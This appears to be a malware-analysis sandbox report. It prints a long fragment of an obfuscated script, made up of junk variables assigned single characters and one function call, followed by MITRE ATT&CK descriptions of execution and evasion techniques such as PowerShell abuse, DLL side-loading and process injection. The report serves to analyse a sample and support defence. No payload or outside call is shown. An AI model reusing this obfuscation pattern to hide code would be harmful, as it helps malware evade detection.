254	kmqoofy = "H";
255	kmqoofy = "o";
256	kmqoofy = "Y";
257	kmqoofy = "m";
258	kmqoofy = "E";
259	kmqoofy = "J";
260	kmqoofy = "W";
261	kmqoofy = "o";
262	kmqoofy = "R";
263	kmqoofy = "j";
264	kmqoofy = "a";
265	epxev = "X";
266	epxev = "T";
267	epxev = "l";
268	epxev = "n";
269	epxev = "y";
270	epxev = "W";
271	epxev = "F";
272	epxev = "d";
273	epxev = "o";
274	epxev = "Y";
275	epxev = "h";
276	epxev = "V";
277	epxev = "U";
278	epxev = "h";
279	epxev = "T";
280	epxev = "i";
281	epxev = "C";
282	epxev = "d";
283	epxev = "L";
284	epxev = "b";
285	epxev = "u";
286	epxev = "q";
287	epxev = "f";
288	epxev = "V";
289	epxev = "q";
290	epxev = "Q";
291	epxev = "k";
292	epxev = "r";
293	epxev = "W";
294	epxev = "H";
295	epxev = "f";
296	epxev = "D";
297	epxev = "g";
298	epxev = "r";
299	epxev = "m";
300	epxev = "O";
301	epxev = "W";
302	epxev = "C";
303	epxev = "j";
304	epxev = "A";
305	epxev = "M";
306	epxev = "l";
307	epxev = "o";
308	uvpoizs = "a";
309	uvpoizs = "f";
310	uvpoizs = "D";
311	uvpoizs = "Q";
312	uvpoizs = "n";
313	uvpoizs = "T";
314	uvpoizs = "q";
315	uvpoizs = "b";
316	uvpoizs = "g";
317	uvpoizs = "L";
318	uvpoizs = "J";
319	uvpoizs = "o";
320	uvpoizs = "o";
321	uvpoizs = "b";
322	uvpoizs = "C";
323	uvpoizs = "J";
324	uvpoizs = "p";
325	uvpoizs = "M";
326	uvpoizs = "U";
327	uvpoizs = "s";
328	uvpoizs = "j";
329	uvpoizs = "O";
330	uvpoizs = "i";
331	uvpoizs = "r";
332	uvpoizs = "S";
333	uvpoizs = "E";
334	uvpoizs = "F";
335	uvpoizs = "2";
336	yadds = "m";
337	yadds = "L";
338	yadds = "H";
339	yadds = "Q";
340	yadds = "i";
341	yadds = "Q";
342	yadds = "W";
343	yadds = "A";
344	yadds = "i";
345	yadds = "G";
346	yadds = "U";
347	yadds = "s";
348	yadds = "F";
349	yadds = "Y";
350	yadds = "c";
351	yadds = "M";
352	yadds = "y";
353	yadds = "N";
354	yadds = "C";
355	yadds = "I";
356	yadds = "i";
357	yadds = "j";
358	dkixzecb = "j";
359	dkixzecb = "w";
360	dkixzecb = "X";
361	dkixzecb = "B";
362	dkixzecb = "s";
363	dkixzecb = "l";
364	dkixzecb = "&";
365	orydr = "M";
366	orydr = "k";
367	orydr = "G";
368	orydr = "L";
369	orydr = "h";
370	orydr = "R";
371	orydr = "W";
372	orydr = "o";
373	orydr = "K";
374	orydr = "a";
375	orydr = "N";
376	orydr = "Y";
377	orydr = "x";
378	orydr = "q";
379	orydr = "c";
380	orydr = "a";
381	orydr = "D";
382	orydr = "c";
383	orydr = "k";
384	orydr = "h";
385	orydr = "b";
386	orydr = "M";
387	orydr = "H";
388	orydr = "h";
389	orydr = "r";
390	orydr = "j";
391	orydr = "t";
392	orydr = "u";
393	orydr = "J";
394	orydr = "x";
395	orydr = "H";
396	orydr = "d";
397	orydr = "C";
398	orydr = "h";
399	orydr = "P";
400	orydr = "x";
401	orydr = "i";
402	orydr = "c";
403	orydr = "s";
404	orydr = "0";
405	phsauir = "X";
406	phsauir = "W";
407	phsauir = "4";
408	xxthxkng = "c";
409	xxthxkng = "l";
410	xxthxkng = "M";
411	xxthxkng = "z";
412	xxthxkng = "f";
413	xxthxkng = "P";
414	xxthxkng = "L";
415	xxthxkng = "g";
416	xxthxkng = "Z";
417	xxthxkng = "t";
418	xxthxkng = "Y";
419	xxthxkng = "N";
420	xxthxkng = "g";
421	xxthxkng = "W";
422	xxthxkng = "H";
423	xxthxkng = "s";
424	xxthxkng = "N";
425	xxthxkng = "b";
426	xxthxkng = "k";
427	xxthxkng = "w";
428	xxthxkng = "e";
429	xxthxkng = "b";
430	xxthxkng = "w";
431	xxthxkng = "f";
432	xxthxkng = "m";
433	xxthxkng = "C";
434	xxthxkng = "G";
435	xxthxkng = "B";
436	xxthxkng = "H";
437	xxthxkng = "W";
438	xxthxkng = "x";
439	xxthxkng = "W";
440	xxthxkng = "X";
441	xxthxkng = "n";
442	mcgnly = "k";
443	mcgnly = "f";
444	mcgnly = "w";
445	mcgnly = "m";
446	mcgnly = "J";
447	mcgnly = "C";
448	mcgnly = "L";
449	mcgnly = "H";
450	mcgnly = "H";
451	mcgnly = "q";
452	mcgnly = "Y";
453	mcgnly = "n";
454	mcgnly = "v";
455	mcgnly = "W";
456	mcgnly = "H";
457	mcgnly = "j";
458	mcgnly = "w";
459	mcgnly = "e";
460	mcgnly = "C";
461	mcgnly = "z";
462	mcgnly = "J";
463	mcgnly = "X";
464	mcgnly = "z";
465	mcgnly = "h";
466	mcgnly = "T";
467	mcgnly = "b";
468	mcgnly = "o";
469	mcgnly = "e";
470	mcgnly = "7";
471	dkeyapex = "b";
472	dkeyapex = "j";
473	dkeyapex = "j";
474	dkeyapex = "p";
475	dkeyapex = "v";
476	dkeyapex = "n";
477	dkeyapex = "j";
478	dkeyapex = "c";
479	dkeyapex = "r";
480	dkeyapex = "i";
481	dkeyapex = "y";
482	dkeyapex = "A";
483	dkeyapex = "A";
484	dkeyapex = "H";
485	dkeyapex = "Q";
486	dkeyapex = "m";
487	dkeyapex = "A";
488	dkeyapex = "Q";
489	dkeyapex = "e";
490	obtqtoyh = "y";
491	obtqtoyh = "j";
492	obtqtoyh = "s";
493	obtqtoyh = "g";
494	obtqtoyh = "f";
495	obtqtoyh = "i";
496	obtqtoyh = "q";
497	obtqtoyh = "y";
498	obtqtoyh = "t";
499	obtqtoyh = "y";
500	obtqtoyh = "q";
501	obtqtoyh = "J";
502	obtqtoyh = "g";
503	obtqtoyh = "m";
504	obtqtoyh = "h";
505	obtqtoyh = "Q";
506	obtqtoyh = "u";
507	obtqtoyh = "y";
508	obtqtoyh = "O";
509	obtqtoyh = "n";
510	obtqtoyh = "x";
511	obtqtoyh = "u";
512	obtqtoyh = "J";
513	obtqtoyh = "d";
514	obtqtoyh = "D";
515	obtqtoyh = "k";
516	obtqtoyh = "O";
517	obtqtoyh = "S";
518	obtqtoyh = "N";
519	obtqtoyh = "k";
520	obtqtoyh = "Z";
521	obtqtoyh = "h";
522	obtqtoyh = "Q";
523	obtqtoyh = "h";
524	obtqtoyh = "h";
525	obtqtoyh = "i";
526	obtqtoyh = "B";
527	obtqtoyh = "8";
528	radnby = "v";
529	radnby = "F";
530	radnby = "V";
531	radnby = "h";
532	radnby = "Y";
533	radnby = "k";
534	radnby = "f";
535	radnby = "P";
536	radnby = "R";
537	radnby = "I";
538	radnby = "b";
539	radnby = "W";
540	radnby = "O";
541	radnby = "F";
542	radnby = "y";
543	radnby = "b";
544	radnby = "s";
545	radnby = "y";
546	radnby = "L";
547	radnby = "m";
548	radnby = "9";
549	vcwxikr = "M";
550	vcwxikr = "M";
551	vcwxikr = "K";
552	vcwxikr = "Q";
553	vcwxikr = "F";
554	vcwxikr = "p";
555	vcwxikr = "n";
556	vcwxikr = "n";
557	vcwxikr = "S";
558	wykou = "S";
559	wykou = "y";
560	wykou = "X";
561	wykou = "P";
562	wykou = "R";
563	wykou = "o";
564	wykou = "k";
565	wykou = "y";
566	wykou = "x";
567	wykou = "R";
568	wykou = "A";
569	wykou = "d";
570	wykou = "I";
571	wykou = "H";
572	wykou = "l";
573	wykou = "k";
574	wykou = "S";
575	wykou = "Q";
576	wykou = "L";
577	wykou = "d";
578	wykou = "t";
579	wykou = "s";
580	wykou = "U";
581	wykou = "e";
582	wykou = "a";
583	wykou = "d";
584	wykou = "b";
585	wykou = "l";
586	wykou = "e";
587	wykou = "w";
588	clgcfo = "t";
589	clgcfo = "m";
590	clgcfo = "g";
591	clgcfo = "O";
592	clgcfo = "B";
593	clgcfo = "z";
594	clgcfo = "b";
595	clgcfo = "Q";
596	clgcfo = "p";
597	clgcfo = "e";
598	clgcfo = "j";
599	clgcfo = "O";
600	clgcfo = "k";
601	clgcfo = "H";
602	clgcfo = "U";
603	clgcfo = "A";
604	clgcfo = "b";
605	opyjx = "v";
606	opyjx = "o";
607	opyjx = "T";
608	opyjx = "L";
609	opyjx = "e";
610	opyjx = "i";
611	opyjx = "P";
612	opyjx = "Q";
613	opyjx = "s";
614	opyjx = "J";
615	opyjx = "Y";
616	opyjx = "E";
617	opyjx = "z";
618	opyjx = "b";
619	opyjx = "y";
620	opyjx = "S";
621	opyjx = "q";
622	opyjx = "b";
623	opyjx = "F";
624	opyjx = "t";
625	opyjx = "P";
626	opyjx = "e";
627	opyjx = "w";
628	opyjx = "k";
629	opyjx = "E";
630	opyjx = "I";
631	opyjx = "r";
632	opyjx = "h";
633	aulpnl = "e";
634	aulpnl = "g";
635	aulpnl = "J";
636	aulpnl = "a";
637	aulpnl = "j";
638	aulpnl = "y";
639	aulpnl = "B";
640	aulpnl = "o";
641	aulpnl = "T";
642	aulpnl = "W";
643	aulpnl = "T";
644	aulpnl = "n";
645	aulpnl = "u";
646	aulpnl = "u";
647	aulpnl = "L";
648	wrkhot = "c";
649	wrkhot = "c";
650	wrkhot = "T";
651	wrkhot = "q";
652	wrkhot = "j";
653	wrkhot = "m";
654	jdsfmb = "Z";
655	jdsfmb = "W";
656	jdsfmb = "w";
657	jdsfmb = "f";
658	jdsfmb = "G";
659	jdsfmb = "a";
660	jdsfmb = "V";
661	jdsfmb = "i";
662	jdsfmb = "h";
663	jdsfmb = "b";
664	jdsfmb = "d";
665	jdsfmb = "n";
666	jdsfmb = "n";
667	jdsfmb = "i";
668	jdsfmb = "g";
669	jdsfmb = "D";
670	jdsfmb = "M";
671	jdsfmb = "z";
672	jdsfmb = "Z";
673	jdsfmb = "J";
674	jdsfmb = "f";
675	jdsfmb = "-";
676	fekihj = "S";
677	fekihj = "r";
678	fekihj = "g";
679	fekihj = "M";
680	fekihj = "n";
681	fekihj = "e";
682	fekihj = "Z";
683	fekihj = "Q";
684	fekihj = "a";
685	fekihj = "o";
686	fekihj = "J";
687	fekihj = "w";
688	fekihj = "f";
689	fekihj = "g";
690	fekihj = "q";
691	fekihj = "u";
692	fekihj = "m";
693	fekihj = "B";
694	fekihj = "p";
695	fekihj = "H";
696	fekihj = "B";
697	fekihj = "W";
698	fekihj = "D";
699	fekihj = "S";
700	fekihj = "W";
701	fekihj = "b";
702	fekihj = "n";
703	fekihj = "N";
704	fekihj = "a";
705	fekihj = "k";
706	fekihj = "K";
707	qlxcrjq = "Z";
708	qlxcrjq = "e";
709	qlxcrjq = "q";
710	qlxcrjq = "b";
711	qlxcrjq = "S";
712	qlxcrjq = "Y";
713	qlxcrjq = "n";
714	qlxcrjq = "C";
715	qlxcrjq = "z";
716	qlxcrjq = "b";
717	qlxcrjq = "d";
718	qlxcrjq = "3";
719	jojmfr = "m";
720	jojmfr = "w";
721	jojmfr = "n";
722	jojmfr = "m";
723	jojmfr = "a";
724	jojmfr = "B";
725	jojmfr = "X";
726	jojmfr = "F";
727	jojmfr = "O";
728	jojmfr = "B";
729	jojmfr = "Y";
730	jojmfr = "m";
731	jojmfr = "t";
732	jojmfr = "n";
733	jojmfr = "i";
734	jojmfr = "Q";
735	jojmfr = "X";
736	jojmfr = "f";
737	jojmfr = "Y";
738	jojmfr = "@";
739	qtrewgxzo = "D";
740	qtrewgxzo = "W";
741	qtrewgxzo = "f";
742	qtrewgxzo = "P";
743	qtrewgxzo = "G";
744	qtrewgxzo = "v";
745	qtrewgxzo = "i";
746	qtrewgxzo = "o";
747	qtrewgxzo = "l";
748	qtrewgxzo = "D";
749	qtrewgxzo = "M";
750	qtrewgxzo = "A";
751	qtrewgxzo = "n";
752	qtrewgxzo = "p";
753	qtrewgxzo = "m";
754	qtrewgxzo = "q";
755	qtrewgxzo = "M";
756	qtrewgxzo = "d";
757	qtrewgxzo = "o";
758	qtrewgxzo = "F";
759	qtrewgxzo = "k";
760	qtrewgxzo = "D";
761	qtrewgxzo = "p";
762	qtrewgxzo = "R";
763	qtrewgxzo = "U";
764	qtrewgxzo = "b";
765	qtrewgxzo = "P";
766	qtrewgxzo = "m";
767	qtrewgxzo = "o";
768	qtrewgxzo = "p";
769	qtrewgxzo = "o";
770	qtrewgxzo = "I";
771	qtrewgxzo = "Y";
772	cvwhsiy = "y";
773	cvwhsiy = "X";
774	cvwhsiy = "U";
775	cvwhsiy = "b";
776	cvwhsiy = "z";
777	cvwhsiy = "K";
778	cvwhsiy = "T";
779	cvwhsiy = "V";
780	cvwhsiy = "S";
781	cvwhsiy = "i";
782	cvwhsiy = "X";
783	cvwhsiy = "w";
784	cvwhsiy = "1";
785	tmcswufd = "p";
786	tmcswufd = "z";
787	tmcswufd = "v";
788	tmcswufd = "a";
789	tmcswufd = "m";
790	tmcswufd = "i";
791	tmcswufd = "g";
792	tmcswufd = "X";
793	tmcswufd = "I";
794	tmcswufd = "S";
795	tmcswufd = "f";
796	tmcswufd = "q";
797	tmcswufd = "N";
798	tmcswufd = "a";
799	tmcswufd = "c";
800	tmcswufd = "a";
801	tmcswufd = "y";
802	tmcswufd = "f";
803	tmcswufd = "a";
804	tmcswufd = "m";
805	tmcswufd = "c";
806	tmcswufd = "R";
807	tmcswufd = "N";
808	tmcswufd = "P";
809	tmcswufd = "e";
810	tmcswufd = "I";
811	tmcswufd = "S";
812	tmcswufd = "n";
813	tmcswufd = "n";
814	tmcswufd = "H";
815	tmcswufd = "R";
816	tmcswufd = "v";
817	tmcswufd = "I";
818	tmcswufd = "d";
819	tmcswufd = "x";
820	tmcswufd = "q";
821	tmcswufd = "n";
822	tmcswufd = "u";
823	tmcswufd = "N";
824	tmcswufd = "P";
825	fktbrmz = "F";
826	fktbrmz = "b";
827	fktbrmz = "M";
828	fktbrmz = "q";
829	fktbrmz = "p";
830	fktbrmz = "e";
831	fktbrmz = "b";
832	fktbrmz = "E";
833	fktbrmz = "U";
834	fktbrmz = "a";
835	fktbrmz = "I";
836	fktbrmz = "b";
837	fktbrmz = "c";
838	fktbrmz = "A";
839	fktbrmz = "v";
840	fktbrmz = "R";
841	fktbrmz = "q";
842	fktbrmz = "U";
843	krnitn = "q";
844	krnitn = "M";
845	krnitn = "q";
846	krnitn = "H";
847	krnitn = "H";
848	krnitn = "T";
849	krnitn = "R";
850	krnitn = "r";
851	krnitn = "M";
852	krnitn = "U";
853	krnitn = "M";
854	krnitn = "K";
855	krnitn = "F";
856	krnitn = "o";
857	krnitn = "Z";
858	krnitn = "v";
859	krnitn = "N";
860	krnitn = "U";
861	krnitn = "J";
862	krnitn = "o";
863	krnitn = "u";
864	krnitn = "L";
865	krnitn = "R";
866	krnitn = "x";
867	krnitn = "g";
868	krnitn = "R";
869	krnitn = "k";
870	krnitn = "g";
871	krnitn = "g";
872	krnitn = "o";
873	krnitn = "t";
874	krnitn = "J";
875	krnitn = "k";
876	krnitn = "W";
877	dptkya = "G";
878	dptkya = "g";
879	dptkya = "m";
880	dptkya = "J";
881	dptkya = "C";
882	dptkya = "O";
883	dptkya = "H";
884	dptkya = "y";
885	dptkya = "p";
886	dptkya = "w";
887	dptkya = "R";
888	dptkya = "g";
889	dptkya = "o";
890	dptkya = "\\";
891	eebvnf = "b";
892	eebvnf = "f";
893	eebvnf = "X";
894	eebvnf = "S";
895	eebvnf = "g";
896	eebvnf = "c";
897	eebvnf = "z";
898	eebvnf = "H";
899	eebvnf = "c";
900	eebvnf = "O";
901	eebvnf = "j";
902	eebvnf = "A";
903	eebvnf = "v";
904	eebvnf = "x";
905	eebvnf = "p";
906	eebvnf = "B";
907	eebvnf = "s";
908	diotdgh = "E";
909	diotdgh = "n";
910	diotdgh = "I";
911	diotdgh = "S";
912	diotdgh = "W";
913	diotdgh = "L";
914	diotdgh = "T";
915	diotdgh = "R";
916	diotdgh = "Y";
917	diotdgh = "Y";
918	diotdgh = "e";
919	diotdgh = "B";
920	diotdgh = "L";
921	diotdgh = "M";
922	diotdgh = "R";
923	qjgdbtsf = "C";
924	qjgdbtsf = "B";
925	qjgdbtsf = "P";
926	qjgdbtsf = "s";
927	qjgdbtsf = "y";
928	qjgdbtsf = "d";
929	qjgdbtsf = "j";
930	qjgdbtsf = "F";
931	qjgdbtsf = "j";
932	qjgdbtsf = "U";
933	qjgdbtsf = "F";
934	qjgdbtsf = "D";
935	qjgdbtsf = "r";
936	qjgdbtsf = "a";
937	qjgdbtsf = "F";
938	qjgdbtsf = "D";
939	qjgdbtsf = "a";
940	qjgdbtsf = "l";
941	qjgdbtsf = "S";
942	qjgdbtsf = "l";
943	vedxl = "L";
944	vedxl = "p";
945	vedxl = "U";
946	vedxl = "T";
947	vedxl = "k";
948	vedxl = "U";
949	vedxl = "y";
950	vedxl = "t";
951	vedxl = "r";
952	vedxl = "z";
953	vedxl = "f";
954	vedxl = "c";
955	vedxl = "P";
956	vedxl = "B";
957	vedxl = "Q";
958	vedxl = "k";
959	vedxl = "N";
960	vedxl = "Q";
961	vedxl = "M";
962	vedxl = "k";
963	vedxl = "R";
964	vedxl = "x";
965	vedxl = "R";
966	vedxl = "t";
967	vedxl = "f";
968	vedxl = "e";
969	vedxl = "L";
970	vedxl = "K";
971	vedxl = "e";
972	vedxl = "a";
973	vedxl = "H";
974	vedxl = "s";
975	vedxl = "V";
976	vedxl = "r";
977	vedxl = "D";
978	vedxl = "i";
979	vedxl = "T";
980	rziio = "X";
981	rziio = "f";
982	rziio = "f";
983	rziio = "g";
984	rziio = "E";
985	rziio = "p";
986	rziio = "x";
987	rziio = "H";
988	rziio = "J";
989	rziio = "w";
990	rziio = "H";
991	rziio = "t";
992	rziio = "j";
993	rziio = "z";
994	rziio = "o";
995	rziio = "l";
996	rziio = "z";
997	rziio = "N";
998	rziio = "n";
999	rziio = "Z";
1000	rziio = "E";
1001	rziio = "W";
1002	rziio = "C";
1003	rziio = "E";
1004	rziio = "I";
1005	rziio = "J";
1006	rziio = "G";
1007	rziio = "x";
1008	rziio = "T";
1009	rziio = "P";
1010	rziio = "c";
1011	rziio = "a";
1012	rziio = "Y";
1013	rziio = "I";
1014	rziio = "Z";
1015	rziio = "b";
1016	rziio = "d";
1017	rziio = "a";
1018	rziio = "g";
1019	nttcsoux = "u";
1020	nttcsoux = "X";
1021	nttcsoux = "L";
1022	nttcsoux = "k";
1023	nttcsoux = "V";
1024	nttcsoux = "h";
1025	nttcsoux = "k";
1026	nttcsoux = "u";
1027	nttcsoux = "A";
1028	nttcsoux = "V";
1029	nttcsoux = "V";
1030	nttcsoux = "x";
1031	nttcsoux = "S";
1032	nttcsoux = "q";
1033	nttcsoux = "z";
1034	nttcsoux = "v";
1035	nttcsoux = "t";
1036	nttcsoux = "T";
1037	nttcsoux = "Y";
1038	nttcsoux = "V";
1039	nttcsoux = "r";
1040	nttcsoux = "U";
1041	nttcsoux = "M";
1042	nttcsoux = "M";
1043	nttcsoux = "r";
1044	nttcsoux = "R";
1045	nttcsoux = "%";
1046	tkqswali = "v";
1047	tkqswali = "R";
1048	tkqswali = "d";
1049	tkqswali = "f";
1050	tkqswali = "q";
1051	tkqswali = "w";
1052	tkqswali = "s";
1053	tkqswali = "h";
1054	tkqswali = "o";
1055	tkqswali = "L";
1056	tkqswali = "G";
1057	tkqswali = "D";
1058	tkqswali = "A";
1059	tkqswali = "h";
1060	tkqswali = "b";
1061	tkqswali = "G";
1062	tkqswali = "Y";
1063	tkqswali = "O";
1064	tqykhbqsj = "S";
1065	tqykhbqsj = "W";
1066	tqykhbqsj = "e";
1067	tqykhbqsj = "f";
1068	tqykhbqsj = "b";
1069	tqykhbqsj = "H";
1070	swpkjgt = "j";
1071	swpkjgt = "s";
1072	swpkjgt = "Z";
1073	swpkjgt = "D";
1074	swpkjgt = "j";
1075	swpkjgt = "L";
1076	swpkjgt = "r";
1077	swpkjgt = "L";
1078	swpkjgt = "S";
1079	swpkjgt = "U";
1080	swpkjgt = "L";
1081	swpkjgt = "Z";
1082	swpkjgt = "n";
1083	swpkjgt = "n";
1084	swpkjgt = "h";
1085	swpkjgt = "C";
1086	swpkjgt = "D";
1087	swpkjgt = "C";
1088	swpkjgt = "l";
1089	swpkjgt = "x";
1090	swpkjgt = "I";
1091	kleweq = "Z";
1092	kleweq = "J";
1093	kleweq = "i";
1094	kleweq = "r";
1095	kleweq = "v";
1096	kleweq = "O";
1097	kleweq = "t";
1098	kleweq = "Y";
1099	kleweq = "N";
1100	kleweq = "P";
1101	kleweq = "c";
1102	kleweq = "S";
1103	kleweq = "G";
1104	kleweq = "l";
1105	kleweq = "H";
1106	kleweq = "Q";
1107	kleweq = "U";
1108	kleweq = "Y";
1109	kleweq = "g";
1110	kleweq = "D";
1111	kleweq = "p";
1112	kleweq = "l";
1113	kleweq = "P";
1114	kleweq = "h";
1115	kleweq = "S";
1116	kleweq = "Y";
1117	kleweq = "i";
1118	kleweq = "h";
1119	kleweq = "E";
1120	kleweq = "r";
1121	kleweq = "v";
1122	kleweq = "x";
1123	hjhzcatb = "f";
1124	hjhzcatb = "A";
1125	hjhzcatb = "T";
1126	hjhzcatb = "L";
1127	hjhzcatb = "Z";
1128	hjhzcatb = "p";
1129	favqbzm = "Q";
1130	favqbzm = "D";
1131	favqbzm = "l";
1132	favqbzm = "d";
1133	favqbzm = "e";
1134	favqbzm = "j";
1135	favqbzm = "E";
1136	favqbzm = "Z";
1137	favqbzm = "m";
1138	favqbzm = "L";
1139	favqbzm = "P";
1140	favqbzm = "k";
1141	favqbzm = "J";
1142	favqbzm = "m";
1143	favqbzm = "\"";
1144	jmezlisk = "F";
1145	jmezlisk = "L";
1146	jmezlisk = "A";
1147	jmezlisk = "t";
1148	jmezlisk = "d";
1149	gmkhjkk = "H";
1150	gmkhjkk = "l";
1151	gmkhjkk = "n";
1152	gmkhjkk = "d";
1153	gmkhjkk = "u";
1154	gmkhjkk = "K";
1155	gmkhjkk = "q";
1156	gmkhjkk = "B";
1157	gmkhjkk = "l";
1158	gmkhjkk = "c";
1159	gmkhjkk = "j";
1160	gmkhjkk = "N";
1161	gmkhjkk = "L";
1162	gmkhjkk = "U";
1163	gmkhjkk = "k";
1164	gmkhjkk = "X";
1165	gmkhjkk = "h";
1166	gmkhjkk = "A";
1167	gmkhjkk = "N";
1168	gmkhjkk = "O";
1169	gmkhjkk = "X";
1170	gmkhjkk = "k";
1171	gmkhjkk = "Y";
1172	gmkhjkk = "Z";
1173	gmkhjkk = "y";
1174	gmkhjkk = "L";
1175	gmkhjkk = "g";
1176	gmkhjkk = "a";
1177	gmkhjkk = "C";
1178	gmkhjkk = "T";
1179	gmkhjkk = "s";
1180	gmkhjkk = "j";
1181	gmkhjkk = "e";
1182	gmkhjkk = "f";
1183	gmkhjkk = "s";
1184	gmkhjkk = "N";
1185	gmkhjkk = "f";
1186	gmkhjkk = "c";
1187	gmkhjkk = "v";
1188	tszpk = "V";
1189	tszpk = "p";
1190	tszpk = "n";
1191	tszpk = "P";
1192	tszpk = "Z";
1193	tszpk = "B";
1194	tszpk = "P";
1195	tszpk = "S";
1196	tszpk = "d";
1197	tszpk = "s";
1198	tszpk = "w";
1199	tszpk = "O";
1200	tszpk = "k";
1201	tszpk = "b";
1202	tszpk = "U";
1203	tszpk = "A";
1204	tszpk = "t";
1205	wsowwlu = "I";
1206	wsowwlu = "j";
1207	wsowwlu = "A";
1208	wsowwlu = "5";
1209	icgwb = "F";
1210	icgwb = "u";
1211	icgwb = "J";
1212	icgwb = "X";
1213	icgwb = "E";
1214	icgwb = "q";
1215	icgwb = "O";
1216	icgwb = "C";
1217	rtecjx = "G";
1218	rtecjx = "e";
1219	rtecjx = "Q";
1220	rtecjx = "a";
1221	rtecjx = "b";
1222	rtecjx = "h";
1223	rtecjx = "c";
1224	rtecjx = "K";
1225	rtecjx = "K";
1226	rtecjx = "j";
1227	rtecjx = "Y";
1228	rtecjx = "i";
1229	rtecjx = " ";
1230	faltvd = "n";
1231	faltvd = "j";
1232	faltvd = "Y";
1233	faltvd = "r";
1234	faltvd = "l";
1235	faltvd = "t";
1236	faltvd = "V";
1237	faltvd = "k";
1238	faltvd = "v";
1239	faltvd = "O";
1240	faltvd = "D";
1241	faltvd = "u";
1242	faltvd = "E";
1243	faltvd = "q";
1244	faltvd = "N";
1245	faltvd = "Y";
1246	faltvd = "T";
1247	faltvd = "R";
1248	faltvd = "j";
1249	faltvd = "j";
1250	faltvd = "S";
1251	faltvd = "c";
1252	faltvd = "a";
1253	faltvd = "D";
1254	faltvd = "x";
1255	faltvd = "l";
1256	faltvd = "y";
1257	faltvd = "N";
1258	faltvd = "V";
1259	faltvd = "f";
1260	faltvd = "N";
1261	faltvd = "P";
1262	faltvd = "g";
1263	faltvd = "h";
1264	faltvd = "f";
1265	faltvd = "T";
1266	faltvd = "o";
1267	faltvd = "B";
1268	faltvd = "h";
1269	faltvd = "s";
1270	faltvd = "E";
1271	faltvd = "Q";
1272	faltvd = "y";
1273	faltvd = "X";
1274	faltvd = "N";
1275	jyebn = "K";
1276	jyebn = "c";
1277	jyebn = "H";
1278	jyebn = "i";
1279	sbxswkfqc = "X";
1280	sbxswkfqc = "w";
1281	sbxswkfqc = "o";
1282	sbxswkfqc = "B";
1283	sbxswkfqc = "d";
1284	sbxswkfqc = "s";
1285	sbxswkfqc = "W";
1286	sbxswkfqc = "f";
1287	sbxswkfqc = "y";
1288	sbxswkfqc = "U";
1289	sbxswkfqc = "z";
1290	sbxswkfqc = "R";
1291	sbxswkfqc = "G";
1292	sbxswkfqc = "t";
1293	sbxswkfqc = "Z";
1294	sbxswkfqc = "V";
1295	sbxswkfqc = "L";
1296	sbxswkfqc = "O";
1297	sbxswkfqc = "q";
1298	lrduro ( );	lrduro() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

